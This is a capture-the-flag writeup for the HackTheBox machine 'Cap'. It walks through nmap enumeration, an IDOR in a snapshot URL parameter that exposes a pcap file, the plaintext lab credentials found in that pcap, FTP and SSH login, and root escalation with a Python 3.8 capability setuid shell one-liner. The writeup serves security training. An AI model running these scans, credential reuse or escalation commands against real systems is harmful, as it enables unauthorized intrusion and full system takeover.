> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/cap-hackthebox-writeup.md). # Cap HackTheBox Writeup Cap HackTheBox Easy Linux machine writeup covering Insecure Directory Object Reference (IDOR), Information Leakage, Abusing Capabilities (Python3.8) (Privilege Escalation), with practical enumeration, {% embed url="" %} {% hint style="warning" %} Skills: * Insecure Directory Object Reference (IDOR) * Information Leakage * Abusing Capabilities (Python3.8) (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.245 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (21,22,80)

#### Port version scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p21,22,80 10.10.10.245 -oN targeted ```

### Port 80 - HTTP

We access the HTTP service and discover a section called **Security Snapshot**. This section allows you to create and download **pcap** files containing system logs.

## Vulnerability IDOR **Observation initiale** After analyzing the **pcap** files with Wireshark, no directly usable content was found.

However, we notice that each time a file is downloaded, a **snapshot** is created. The corresponding URL contains a parameter indicating the snapshot identifier, for example: `snapshot_data=2`.

By manually changing the URL parameter to access snapshot 0, we obtain a file containing sensitive information. ### **Analysis with Wireshark** By examining the frames in the **pcap** file, we identify a user's credentials: * username: `nathan` * password: `Buck3tH4TF0RM3!`

#### Use of credentials **FTP access** We use credentials to connect to the FTP service: Connection successful. We retrieve the **user.txt** file containing the first flag.

**SSH access** By testing the same credentials for an SSH connection, we obtain full access: ```bash ssh nathan@10.10.10.245 Buck3tH4TF0RM3! ```

## Privilege Escalation ### Vulnerability Capabilites Python3.8 #### Filtering **capabilities**: If we filter by capabilities, Python 3.8 appears: ```bash getcap -r / 2>/dev/null ```

Use [GTFOBins](https://gtfobins.github.io/) as a reference. ```bash python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")' ```

### Flag root.txt :)

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